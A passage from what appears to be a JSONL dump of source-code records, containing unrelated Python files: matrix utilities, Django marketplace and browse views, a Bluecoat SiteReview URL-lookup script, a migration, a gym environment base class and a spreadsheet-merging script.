applied.\n \n The vec-transpose operating on matrix A with scale p reshapes in fortran/column order each \n column in that matrix into a matrix with p rows. It then returns a matrix of these sub-matrices\n stacked from top to bottom corresponding to columns read from left to right.\n '''\n length = len(data)\n rows = np.ndarray((length,), dtype=np.int32)\n cols = np.ndarray((length,), dtype=np.int32)\n \n newRows, newCols = shape[1] * p, shape[0] / p\n oldRow, oldCol = 0, 0\n \n dataPtr = 0\n \n while dataPtr < length:\n while indptr[oldRow + 1] <= dataPtr:\n oldRow += 1\n oldCol = indices[dataPtr]\n \n rows[dataPtr] = oldCol * p + oldRow % p\n cols[dataPtr] = floor(oldRow / p)\n \n dataPtr += 1\n \n return ssp.coo_matrix ((data, (rows, cols)), shape = (newRows, newCols)).tocsr()\n\ndef vec_transpose(A, p):\n '''\n Applies the vec-transpose operator to the given dense matrix, which is stored in\n C / row-wise format\n \n Returns a new matrix after the vec-transpose operator has been applied.\n \n The vec-transpose operating on matrix A with scale p reshapes in fortran/column order each \n column in that matrix into a matrix with p rows. It then returns a matrix of these sub-matrices\n stacked from top to bottom corresponding to columns read from left to right.\n '''\n if A.dtype == np.float64:\n return np.array (compiled.vec_transpose_f8r (A, p))\n elif A.dtype == np.float32:\n return np.array(compiled.vec_transpose_f4r (A, p))\n elif A.order == 'F':\n raise ValueError (\"Not implemented for Fortran order matrices\")\n \n # Fall back to pure Python \n (oldRows, oldCols) = A.shape\n newRows, newCols = oldCols * p, oldRows / p\n out = np.ndarray((newRows, newCols), dtype=A.dtype)\n \n for oldRow in range(oldRows):\n for oldCol in range(oldCols):\n newRow = oldCol * p + oldRow % p\n newCol = oldRow / p\n out[newRow, newCol] = A[oldRow, oldCol]\n \n return out\n\n\n#@autojit\ndef sp_vec_trans_matrix(shape):\n '''\n Generates a vec transpose matrix quickly, and returns it as a sparse\n matrix.\n \n The vec-transpose matrix T of a given matrix A is the matrix that \n implements the equality\n \n T.dot(vec(A)) = vec(A.T)\n \n Params\n shape - the shape of the matrix A\n \n Returns\n A sparse transform matrix\n '''\n \n (rows, cols) = shape\n size = rows * cols\n indptr = np.arange(0, size + 1, dtype=np.int32)\n data = np.ndarray((size,), dtype=np.float32)\n indices = np.ndarray((size,), dtype=np.int32)\n \n for r in range(size):\n indices[r] = floor(r / cols) + (r % cols) * rows\n data.fill(1)\n \n return ssp.csr_matrix((data, indices, indptr), shape=(size, size))\n\n\n ","sub_path":"sidetopics/util/vectrans.py","file_name":"vectrans.py","file_ext":"py","file_size_in_byte":5995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"231234758","text":"import ast\n\nfrom django.http import JsonResponse\nfrom django.views.generic import ListView, TemplateView, View\nfrom django.db.models import (\n Max,\n Case,\n When,\n FloatField,\n ExpressionWrapper,\n Count,\n F,\n functions\n)\nfrom django.http import Http404\n\nfrom thumber.decorators import thumber_feedback\n\nfrom casestudy.casestudies import CASE_STUDIES\n\nfrom .models import Market, PublishedMarket\nfrom .forms import MarketListFilterForm\nfrom core.forms import QueryChoiceMixin\n\n\nclass MarketFilterMixin(object):\n \"\"\"\n \"\"\"\n\n @property\n def markets(self):\n if not self.request:\n authenticated = False\n else:\n authenticated = self.request.user.is_authenticated()\n\n if not authenticated:\n # Remove the not published Markets for un-authed users\n return PublishedMarket.objects\n else:\n return Market.objects\n\n\n@thumber_feedback\nclass HomepageView(MarketFilterMixin, TemplateView):\n \"\"\"\n The landing page for the e-marketplace finding tool, offering advice on it's use\n \"\"\"\n\n template_name = 'markets/homepage.html'\n comment_placeholder = \"We are sorry to hear that. Would you tell us why?\"\n submit_wording = \"Send feedback\"\n satisfied_wording = \"Do you find this service useful?\"\n\n def get_context_data(self, *args, **kwargs):\n \"\"\"\n Include the count of markets in the context data for showing on the homepage\n \"\"\"\n\n return super().get_context_data(\n *args, **kwargs,\n case_studies=CASE_STUDIES.values(),\n market_count=self.markets.count(),\n last_updated=self.markets.aggregate(\n Max('last_modified'))['last_modified__max'],\n random_markets=self.markets.order_by('?')[:6]\n )\n\n\n@thumber_feedback\nclass MarketListView(MarketFilterMixin, ListView):\n \"\"\"\n View for producing a list of Markets based on some user-selected filtering\n \"\"\"\n\n satisfied_wording = \"Did you find what you were looking for?\"\n comment_placeholder = \"We are sorry to hear that. Would you tell us why?\"\n submit_wording = \"Send feedback\"\n template_name = 'markets/list.html'\n context_object_name = 'markets_list'\n\n def get_context_data(self, *args, **kwargs):\n \"\"\"\n Include the filtering form (pre-populated with the request's GET args) in the response\n \"\"\"\n\n context = super().get_context_data(*args, **kwargs)\n context['form'] = MarketListFilterForm(self.request.GET)\n return context\n\n def _clean_params(self):\n \"\"\"\n Clean up the GET params, discarding empty values, values = '*', and try to infer the correct type of each\n \"\"\"\n\n get_params = {}\n\n for key, items in self.request.GET.lists():\n # For each submitted item, clean up the values\n cleaned_items = []\n for item in items:\n # We don't want '' or '*'\n if item != '*' and item != '':\n try:\n # Try and convert to true types, e.g. 'True' to True, and '1' to 1\n cleaned_items.append(ast.literal_eval(item))\n except (ValueError, SyntaxError):\n # Failed to get a literal, just use the supplied string\n cleaned_items.append(item)\n\n # Discard any attributes that had no valid values submitted\n if len(cleaned_items) > 0:\n get_params[key] = cleaned_items\n\n return get_params\n\n def get_queryset(self):\n \"\"\"\n Filter the Markets based on GET parameters. Parameters of '*' are ignored, as we need a way to pass certain\n GET params and have them not be restrictive of the resultset. Valid attributes of the Market are converted\n into __in selectors\n\n eg. URL args of:\n ?name=Foo&operating_countries__name=uk&boolen_field=True&invalid_property=blah\n will be result in:\n Market.objects.filter(name__in=['Foo'], operating_countries__name=['uk'], boolen_field__in=[True])\n \"\"\"\n\n # Get the cleaned get parameters\n get_params = self._clean_params()\n\n order_by = get_params.pop('sort', ['relevance'])[0]\n\n # Initialise a form with the cleaned GET data\n form = MarketListFilterForm(get_params)\n\n # Create a filter dictionary to store the requested filters\n _filter = {}\n\n for bound_field in form:\n if isinstance(bound_field.field, QueryChoiceMixin):\n attr = bound_field.field.attribute\n else:\n attr = bound_field.name\n\n value = bound_field.value()\n if value is not None:\n _filter[\"{}__in\".format(attr)] = value\n\n for key, items in get_params.items():\n if key in form.fields:\n # This is a form field, already dealt with above\n continue\n\n attr = key.split('__')[0]\n try:\n # See if this is actually a property of the Market (or a property of another attached model)\n Market._meta.get_field(attr)\n\n # Turn the property into a filter selector, need to use __in since it's a list of values\n _filter[\"{}__in\".format(key)] = items\n except:\n # Ignore GET params that aren't on the model\n pass\n\n markets = self._filter_and_order_markets(order_by, _filter)\n\n return markets\n\n def _filter_and_order_markets(self, order_by, orig_filter):\n if order_by == 'users':\n return self.markets.filter(**orig_filter).order_by('-number_of_registered_users')\n elif order_by == 'commission':\n markets = self.markets.filter(**orig_filter)\n annotated = markets.annotate(commision_null=functions.Coalesce('commission_lower', -1))\n return annotated.order_by('commision_null', 'commission_lower')\n else:\n return self._order_markets_by_relevance(orig_filter)\n\n def _order_markets_by_relevance(self, orig_filter):\n # We will need to apply a different filter to the query than the original passed in, store it here\n new_filter = {}\n # Build annotations for each of the __in filters\n annotations = {}\n\n category_filter = orig_filter.pop('product_categories__name__in', [])\n matches, score = self._order_by_related_model_name('product_categories__name__in', category_filter)\n annotations['product_categories_matches'] = matches\n annotations['product_categories_score'] = score\n annotations['total_score'] = score\n\n country_filter = orig_filter.pop('operating_countries__name__in', [])\n matches, score = self._order_by_related_model_name('operating_countries__name__in', country_filter)\n annotations['operating_countries_matches'] = matches\n annotations['operating_countries_score'] = score\n annotations['total_score'] += score\n\n # Filter the markets based on the original search params (without the product/category terms)\n markets = self.markets.filter(**orig_filter)\n\n # Make the filter term to ensure we only have results where there is more than 1 match for each filter term\n new_filter = {'product_categories_matches__gt': 0, 'operating_countries_matches__gt': 0}\n\n # Apply all the annotations to the queryset\n return markets.annotate(**annotations).filter(**new_filter).order_by('-total_score')\n\n def _order_by_related_model_name(self, attribute, values):\n\n # Get the related model from the attribute\n related_model_name = attribute[:attribute.index('__')]\n related_model = getattr(Market, related_model_name).rel.model\n search_count = len(values)\n\n # Get rid of the trailing '__in'\n attr_name = attribute[:-4]\n\n # Get the name of the related model as a field in the query\n field_name = F('{0}__name'.format(related_model_name))\n\n if search_count > 0:\n # The user has filtered this related model, so calculate a score based on matching values, with a modifier\n # for unmatched values\n\n when_statements = []\n\n for value in values:\n # Construct When objects like When(related_model='value', then=blah)\n # 'blah' in this case is the name of the model, as this will be COUNT(DISTINCT) later\n when_kwargs = {attr_name: value, 'then': field_name}\n when_statements.append(When(**when_kwargs))\n\n # Get the number of matches for the related model\n matches = Count(Case(*when_statements, default=None, output_field=FloatField()), distinct=True)\n # Get the total number of the related model the market has\n total = ExpressionWrapper(Count(field_name, distinct=True), output_field=FloatField())\n # Calculate an irrelevance score, based the unmatched values\n irrelevance = ExpressionWrapper((1.0 * (total - matches) / total), output_field=FloatField())\n # Compute the overall score\n score = ExpressionWrapper(((matches - irrelevance) / search_count), output_field=FloatField())\n else:\n # The user did NOT filter this related model, so calculate based on all relations to the market counting\n # as a match, and divide by the total number of the related model in the database\n\n count = related_model.objects.count()\n matches = Count(field_name, distinct=True)\n score = ExpressionWrapper((1.0 * matches / count), output_field=FloatField())\n\n return matches, score\n\n\nclass MarketShortlistView(MarketFilterMixin, TemplateView):\n\n template_name = 'markets/shortlist.html'\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(*args, **kwargs)\n market_slugs = self.request.session.get('market_slugs', [])\n context['markets_list'] = self.markets.filter(slug__in=market_slugs)\n\n return context\n\n\nclass MarketShortlistAPI(View):\n\n def _standard_response(self):\n market_slugs = self.request.session.get('market_slugs', [])\n return JsonResponse({'success': True, 'market_slugs': market_slugs})\n\n def get(self, request):\n return self._standard_response()\n\n def post(self, request):\n slug = self.request.GET.get('slug', None)\n if slug is None:\n return JsonResponse({'success': False, 'error': 'no slug supplied'})\n\n market_slugs = self.request.session.get('market_slugs', [])\n\n if slug not in market_slugs:\n market_slugs.append(slug)\n\n self.request.session['market_slugs'] = market_slugs\n return self._standard_response()\n\n def delete(self, request):\n slug = self.request.GET.get('slug', None)\n if slug is None:\n self.request.session['market_slugs'] = []\n return self._standard_response()\n\n market_slugs = self.request.session.get('market_slugs', [])\n\n if slug in market_slugs:\n market_slugs.remove(slug)\n\n self.request.session['market_slugs'] = market_slugs\n return self._standard_response()\n\n\nclass MarketCountView(MarketListView):\n \"\"\"\n A simple AJAX view that the filtering page calls to query the number of Markets will result from the currently\n selected filters\n \"\"\"\n\n def render_to_response(self, context, **response_kwargs):\n return JsonResponse(\n {'count': self.object_list.count()},\n **response_kwargs\n )\n\n\nclass MarketStatsCountView(MarketListView):\n \"\"\"\n A simple AJAX view for geckoboard integration to get the count of the live marketplaces\n \"\"\"\n\n def render_to_response(self, context, **response_kwargs):\n data = {'item': [{'value': self.object_list.count(), 'text': 'Live marketplaces'}]}\n return JsonResponse(data, **response_kwargs)\n\n\nclass MarketStatsUpdateView(MarketListView):\n \"\"\"\n A simple AJAX view for geckoboard integration to get the date of the most recent update to the Markets\n \"\"\"\n\n def render_to_response(self, context, **response_kwargs):\n last_updated_max = self.markets.aggregate(Max('last_modified'))['last_modified__max']\n data = {'item': [{'text': last_updated_max.strftime('%d %b %Y'), 'type': 2}]}\n return JsonResponse(data, **response_kwargs)\n\n\n@thumber_feedback\nclass MarketDetailView(MarketFilterMixin, TemplateView):\n \"\"\"\n The simple view for the details page for individual Markets\n \"\"\"\n\n satisfied_wording = \"Was this page useful?\"\n template_name = 'markets/detail.html'\n comment_placeholder = \"We are sorry to hear that. Would you tell us why?\"\n submit_wording = \"Send feedback\"\n\n def get_context_data(self, *args, **kwargs):\n \"\"\"\n \"\"\"\n\n context = super().get_context_data(*args, **kwargs)\n slug = self.kwargs['slug']\n\n try:\n context['market'] = self.markets.get(slug=slug)\n except (Market.DoesNotExist, PublishedMarket.DoesNotExist):\n raise Http404('Market does not exist')\n\n return context\n","sub_path":"app/markets/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"145027349","text":"from __future__ import print_function\n\nfrom argparse import ArgumentParser\nfrom bs4 import BeautifulSoup\nimport json\nimport requests\nimport sys\nimport time\n\nurls = []\noutput = []\n\nclass SiteReview(object):\n def __init__(self):\n self.baseurl = \"http://sitereview.bluecoat.com/resource/lookup\"\n self.headers = {\"User-Agent\": \"Mozilla/5.0\", \"Content-Type\": \"application/json\"}\n\n def sitereview(self, url):\n payload = {\"url\": url, \"captcha\":\"\"}\n \n try:\n self.req = requests.post(\n self.baseurl,\n headers=self.headers,\n data=json.dumps(payload),\n verify=False,\n )\n except requests.ConnectionError:\n sys.exit(\"[-] ConnectionError: \" \\\n \"A connection error occurred.\")\n\n return json.loads(self.req.content.decode(\"UTF-8\"))\n\n def check_response(self, response):\n if self.req.status_code != 200:\n sys.exit(\"[-] HTTP {} Returned\".format(req.status_code))\n else:\n self.category = response[\"categorization\"][0][\"name\"]\n self.date = response[\"translatedRateDates\"][0][\"text\"][0:35]\n self.url = response[\"url\"]\n try:\n self.category2 = response[\"categorization\"][1][\"name\"]\n except IndexError:\n pass\n \n\ndef prepareExit(outputFile):\n j = open(\"url.txt\", 'w')\n \n\n # print out the output list backwards so that it matches the order in which the URLs were given\n for x in range(len(output)-1,-1,-1):\n outputFile.write(output[x])\n\n # write the url.txt file back, less the URLs that have already been checked\n for line in urls:\n j.write(line)\n\n\n j.close()\n\ndef main():\n o = open(\"output.txt\", 'a+')\n f = open(\"url.txt\")\n\n for line in f:\n urls.append(line)\n\n f.close()\n \n failCount = 0\n\n # we have to traverse the list backwards since we are deleting elements are we go through, this requires an output list that we can reverse and print later\n for x in range(len(urls)-1,-1,-1):\n # wait 5 seconds to prevent the server from giving a CAPTCHA\n time.sleep(5)\n s = SiteReview()\n response = s.sitereview(urls[x])\n # try to analyze the URL, and if it doesn't work, it's either becuase the URL is not formatted properly (enter it into the tool to see what it says), or the server has given a CAPTCHA\n try:\n s.check_response(response)\n except NameError:\n if failCount > 3:\n print (\"You may want to browse to sitereview.bluecoat.com and complete the CAPTCHA and restart the program. It seems like the server is blocking all requests from this machine.\")\n if failCount > 10:\n prepareExit(o)\n sys.exit(\"Now exiting the program due to too many failures. Please browse to the website and complete the CAPTCHA\")\n print(urls[x].rstrip() + \",URL FORMAT ERROR\")\n o.write(\"\\n\" + urls[x].rstrip() + \",URL FORMAT ERROR\")\n failCount += 1\n continue\n # try to print it with both categories, and if not just print one as that is all that it will have\n try:\n print(s.url + \",\" + s.category + \",\" + s.category2)\n o.append(s.url + \",\" + s.category + \",\" + s.category2 + \"\\n\")\n failCount = 0\n except AttributeError:\n print(s.url + \",\" + s.category)\n output.append(s.url + \",\" + s.category + \"\\n\")\n failCount = 0\n # URL has successfully been analyzed, remove it from the url.txt file as it no longer needs to be analyzed\n del urls[x]\n\n prepareExit(o)\n o.close()\n \nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n print(\"Abort recieved, please wait for cleanup.\")\n prepareExit()\n finally:\n print(\"Program successfully terminated\")\n","sub_path":"sitereview.py","file_name":"sitereview.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"165075393","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport json\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport requests\nfrom rallytap.apps.utils.utils import add_members\n\n\ndef create_teamrallytap_chats(apps, schema_editor):\n if settings.ENV == 'dev':\n return\n\n User = apps.get_model('down_auth', 'User')\n teamrallytap = User.objects.get(username='teamrallytap')\n chats = []\n for user in User.objects.all().exclude(id=teamrallytap.id):\n chat_id = '{user_id},{team_id}'.format(user_id=user.id,\n team_id=teamrallytap.id)\n chats.append({'chat_id': chat_id, 'user_ids': [user.id, teamrallytap.id]})\n\n # Create the chats.\n url = '{meteor_url}/chats/members'.format(meteor_url=settings.METEOR_URL)\n data = json.dumps({'chats': chats})\n auth_header = 'Token {api_key}'.format(api_key=settings.METEOR_KEY)\n headers = {\n 'Authorization': auth_header,\n 'Content-Type': 'application/json',\n }\n response = requests.post(url, data=data, headers=headers)\n response.raise_for_status()\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('friends', '0018_auto_20151021_1819'),\n ]\n\n operations = [\n ]\n","sub_path":"rallytap/apps/friends/migrations/0019_auto_20151021_2008.py","file_name":"0019_auto_20151021_2008.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"39455768","text":"import re\nfrom html.parser import HTMLParser\n\nimport django_filters\nfrom django_filters.views import FilterView\nfrom guardian.mixins import PermissionListMixin\n\nfrom django.conf import settings\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.db import models\nfrom django.db.models.functions import Lower\nfrom django.shortcuts import redirect\nfrom django.utils.html import strip_tags\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .. import layout as _layout # prevent name clashing\nfrom ..formatters import render_field\nfrom ..forms.forms import FilterForm\nfrom ..utils import (\n CustomizableClass,\n filter_fieldlist,\n pretty_fieldname,\n resolve_relationship,\n title,\n xlsxresponse,\n)\n\n\nclass BrowseView(\n CustomizableClass, LoginRequiredMixin, PermissionListMixin, FilterView\n):\n template_name = \"bread/layout.html\"\n admin = None\n fields = None\n filterfields = None\n page_kwarg = \"browsepage\" # need to use something different than the default \"page\" because we also filter through kwargs\n layout = None\n\n def __init__(self, admin, *args, **kwargs):\n self.admin = admin\n self.model = admin.model\n self.filterset_fields = admin.filterset_fields\n\n self.admin = admin\n self.model = admin.model\n layout = kwargs.get(\"layout\", self.layout)\n\n def get_object_actions(element, context):\n from ..admin import site\n\n return site.get_default_admin(element.object).object_actions(\n context[\"request\"], element.object\n )\n\n object_actions_menu = _layout.overflow_menu.OverflowMenu(\n _layout.F(get_object_actions),\n iteratorclass=_layout.ObjectContext.Binding(_layout.Iterator),\n flip=True,\n item_attributes={\"_class\": \"bx--table-row--menu-option\"},\n )\n # the data-table object will check child elements for td_attributes to fill in attributes for TD-elements\n object_actions_menu.td_attributes = {\"_class\": \"bx--table-column-menu\"}\n action_menu_header = _layout.BaseElement()\n action_menu_header.td_attributes = {\"_class\": \"bx--table-column-menu\"}\n if not isinstance(layout, _layout.BaseElement):\n if not isinstance(layout, list) and layout is not None:\n raise RuntimeError(\n \"layout needs to be a BaseElement instance or a list of fieldnames\"\n )\n\n layout = _layout.datatable.DataTable.full(\n _layout.ModelName(plural=True),\n _layout.datatable.DataTable(\n [\n (_layout.ModelFieldLabel(field), _layout.ModelFieldValue(field))\n for field in list(filter_fieldlist(self.model, layout))\n ]\n + [(None, object_actions_menu)],\n _layout.C(\"object_list\"),\n _layout.ObjectContext,\n ),\n _layout.button.Button(\n _(\"Add %s\") % title(self.model._meta.verbose_name),\n icon=_layout.icon.Icon(\"add\", size=20),\n onclick=f\"document.location = '{self.admin.reverse('add')}'\",\n ),\n )\n # makes the model available to bound elements like ModelFieldValue and ModelFieldLabel\n self.layout = _layout.ModelContext(self.model, layout)\n super().__init__(*args, **kwargs)\n\n def get_layout(self):\n return self.layout\n\n def get_required_permissions(self, request):\n return [f\"{self.model._meta.app_label}.view_{self.model.__name__.lower()}\"]\n\n def get_filterset_class(self):\n return generate_filterset_class(self.model, self.filterset_fields)\n\n def get_paginate_by(self, queryset=None):\n return int(\n self.request.GET.get(\n \"paginate_by\",\n getattr(self, \"paginate_by\") or settings.DEFAULT_PAGINATION,\n )\n )\n\n def get_pagination_choices(self):\n return sorted(\n set(\n getattr(self, \"pagination_choices\", settings.DEFAULT_PAGINATION_CHOICES)\n )\n | set((self.get_paginate_by(),))\n )\n\n def get(self, *args, **kwargs):\n if \"reset\" in self.request.GET:\n return redirect(self.request.path)\n if \"export\" in self.request.GET:\n return self.as_excel()\n\n return super().get(*args, **kwargs)\n\n def get_queryset(self):\n \"\"\"Prefetch related tables to speed up queries. Also order result by get-parameters.\"\"\"\n ret = super().get_queryset()\n\n # order fields\n order = self.request.GET.get(\"order\")\n if order:\n fields = order.split(\",\")\n ordering = [\n Lower(f[1:]).desc() if f.startswith(\"-\") else Lower(f) for f in fields\n ]\n ret = ret.order_by(*ordering)\n return ret\n\n def as_excel(self):\n # openpyxl is an extra dependency\n import openpyxl\n from openpyxl.styles import Font\n\n items = []\n # from django_filters.views.BaseFilterView.get in order to apply filter to excel export\n self.filterset = self.get_filterset(self.get_filterset_class())\n if (\n not self.filterset.is_bound\n or self.filterset.is_valid()\n or not self.get_strict()\n ):\n items = list(self.filterset.qs)\n items = list(self.filterset.qs)\n\n workbook = openpyxl.Workbook()\n workbook.title = self.admin.verbose_modelname_plural\n header_cells = workbook.active.iter_cols(\n min_row=1, max_col=len(self.fields) + 1, max_row=len(items) + 1\n )\n htmlparser = HTMLParser()\n newline_regex = re.compile(\n r\"<\\s*br\\s*/?\\s*>\"\n ) # replace HTML line breaks with newlines\n for field, col in zip(\n [(\"self\", self.admin.modelname.title())] + list(self.field_values()),\n header_cells,\n ):\n col[0].value = field[1]\n col[0].font = Font(bold=True)\n for i, cell in enumerate(col[1:]):\n html_value = render_field(items[i], field[0], self.admin)\n cleaned = htmlparser.unescape(\n newline_regex.sub(r\"\\n\", strip_tags(html_value))\n )\n cell.value = cleaned\n\n return xlsxresponse(workbook, workbook.title)\n\n def field_values(self):\n for accessor in self.fields:\n fieldchain = resolve_relationship(self.model, accessor)\n if not fieldchain:\n yield accessor, accessor.replace(\"_\", \" \").title()\n else:\n yield accessor, pretty_fieldname(fieldchain[-1][1])\n\n\nclass TreeView(BrowseView):\n template_name = \"bread/tree.html\"\n parent_accessor = None\n label_function = None\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.parent_accessor = kwargs.get(\"parent_accessor\", self.parent_accessor)\n self.label_function = kwargs.get(\"label_function\", lambda o: str(o))\n\n def nodes(self):\n # we do this here a bit more complicated in order to hit database only once\n # and to make use of the filtered queryset\n objects = list(self.object_list)\n\n # first pass: get child relationships\n children = {None: []}\n for object in objects:\n parent_pk = None\n parent = getattr(object, self.parent_accessor)\n if parent is not None and parent in objects:\n parent_pk = parent.pk\n if parent_pk not in children:\n children[parent_pk] = []\n children[parent_pk].append(object)\n\n # second pass: build tree recursively\n def build_tree(nodes):\n ret = {}\n for node in nodes:\n node.tree_label = self.label_function(node)\n ret[node] = None\n if node.pk in children:\n ret[node] = build_tree(children[node.pk])\n return ret\n\n return build_tree(children[None])\n\n\ndef generate_filterset_class(model, fields):\n # make text-based fields filtering with icontains and datefield as range\n config = {\n \"model\": model,\n \"filter_overrides\": {\n models.CharField: {\n \"filter_class\": django_filters.CharFilter,\n \"extra\": lambda f: {\"lookup_expr\": \"icontains\"},\n },\n models.TextField: {\n \"filter_class\": django_filters.CharFilter,\n \"extra\": lambda f: {\"lookup_expr\": \"icontains\"},\n },\n models.EmailField: {\n \"filter_class\": django_filters.CharFilter,\n \"extra\": lambda f: {\"lookup_expr\": \"icontains\"},\n },\n models.URLField: {\n \"filter_class\": django_filters.CharFilter,\n \"extra\": lambda f: {\"lookup_expr\": \"icontains\"},\n },\n models.DateField: {\n \"filter_class\": django_filters.DateFromToRangeFilter,\n \"extra\": lambda f: {\n \"widget\": django_filters.widgets.DateRangeWidget(\n attrs={\"type\": \"text\", \"class\": \"validate datepicker\"}\n )\n },\n },\n models.DateTimeField: {\n \"filter_class\": django_filters.DateFromToRangeFilter,\n \"extra\": lambda f: {\n \"widget\": django_filters.widgets.DateRangeWidget(\n attrs={\"type\": \"text\", \"class\": \"validate datepicker\"}\n )\n },\n },\n },\n }\n config[\"exclude\"] = [\n f.name\n for f in model._meta.get_fields()\n if isinstance(f, models.FileField) or isinstance(f, GenericForeignKey)\n ]\n config[\"fields\"] = fields\n config[\"form\"] = FilterForm\n filterset = type(\n f\"{model._meta.object_name}FilterSet\",\n (django_filters.FilterSet,),\n {\"Meta\": type(\"Meta\", (object,), config)},\n )\n return filterset\n","sub_path":"bread/views/browse.py","file_name":"browse.py","file_ext":"py","file_size_in_byte":10231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"344045393","text":"def solution(n, s):\n # n이 s보다 클 경우 자연수로 불가능하므로 -1 반환\n if s // n == 0:\n return [-1]\n \n answer = []\n \n # 최대한 골고루 나누어 곱하는 것이 제일 큰 것을 활용\n # s // n과 (s // n) + 1로 적절하게 합이 s가 되도록 분배\n for i in range(n - (s % n)):\n answer.append(s // n)\n \n for i in range(s % n):\n answer.append((s // n) + 1)\n \n return answer\n","sub_path":"최고의 집합.py","file_name":"최고의 집합.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"108361811","text":"import numpy as np\nimport pandas as pd\n\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\n\n\nclass base_class(gym.Env):\n\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n Open AI methods\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n def _seed(self, seed=None): # taken straight from cartpole\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def _reset(self):\n self.verbose = 0\n self.ts = self.load_data(self.episode_length)\n\n self.state_names = [d['Name'] for d in self.state_models]\n self.action_names = [var['Name']\n for asset in self.asset_models\n for var in asset.variables]\n\n self.s_mins, self.s_maxs = self.state_mins_maxs()\n self.a_mins, self.a_maxs = self.asset_mins_maxs()\n self.mins = np.append(self.s_mins, self.a_mins)\n self.maxs = np.append(self.s_maxs, self.a_maxs)\n\n self.seed()\n self.steps = int(0)\n self.state = self.ts.iloc[0, 1:].values # visible state\n self.info = []\n self.done = False\n [asset.reset() for asset in self.asset_models]\n self.last_actions = [var['Current']\n for asset in self.asset_models\n for var in asset.variables]\n\n self.observation_space = self.create_obs_space()\n self.action_space = self.create_action_space()\n return self.state\n\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n Non-Open AI methods\n \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n def load_data(self, episode_length):\n return self._load_data(episode_length)\n\n def create_action_space(self):\n return self._create_action_space()\n\n def create_obs_space(self):\n states, self.state_names = [], []\n for mdl in self.state_models:\n states.append([mdl['Min'], mdl['Max']])\n self.state_names.append(mdl['Name'])\n return spaces.MultiDiscrete(states)\n\n def state_mins_maxs(self):\n s_mins, s_maxs = np.array([]), np.array([])\n for mdl in self.state_models:\n s_mins = np.append(s_mins, mdl['Min'])\n s_maxs = np.append(s_maxs, mdl['Max'])\n return s_mins, s_maxs\n\n def asset_mins_maxs(self):\n a_mins, a_maxs = [], []\n for j, asset in enumerate(self.asset_models):\n for var in asset.variables:\n a_mins = np.append(a_mins, var['Min'])\n a_maxs = np.append(a_maxs, var['Max'])\n return a_mins, a_maxs\n\n def asset_states(self):\n for asset in self.asset_models:\n for var in asset.variables:\n print(var['Name'] + ' is ' + str(var['Current']))\n return self\n","sub_path":"environments/base_env.py","file_name":"base_env.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"446774464","text":"import pandas as pd\nimport glob\nimport time\nimport os\nfrom datetime import date\n\ntoday = date.today()\nd4 = today.strftime(\"%Y%m%d\")\n\n#data directories\ntesla_ms_dir = \"tesla_ms/*\"\ntesla_m3_dir = \"tesla_m3/*\"\ntesla_mx_dir = \"tesla_mx/*\"\ntesla_my_dir = \"tesla_my/*\"\ncarvana_dir = \"carvana/*\"\nvroom_dir = \"vroom/*\"\nshift_dir = \"shift/*\"\n\n#grouping folders\ncheck_folders = [tesla_ms_dir, tesla_m3_dir, tesla_mx_dir, tesla_my_dir, carvana_dir, vroom_dir, shift_dir]\n\nall_data = []\n\n#getting last updated per folder\nfor folder in check_folders:\n tesla_latest = max(glob.glob(folder), key=os.path.getctime)\n print(f'{folder} last update: {time.ctime(os.path.getmtime(tesla_latest))}')\n\ninput(\"----------------PRESS ANY BUTTON TO CONITNUE\")\n\n#creating dataframe for each file and appending to master dataframe\ndef get_data(dir):\n tesla_list_of_files = glob.glob(dir)\n tesla_latest = max(tesla_list_of_files, key=os.path.getctime)\n print(f'tesla_latest created: {time.ctime(os.path.getmtime(tesla_latest))}')\n df = pd.read_excel(open(tesla_latest,'rb'))\n all_data.append(df)\n\n#running function for each folders\nfor folder in check_folders:\n get_data(folder)\n\nall_data = 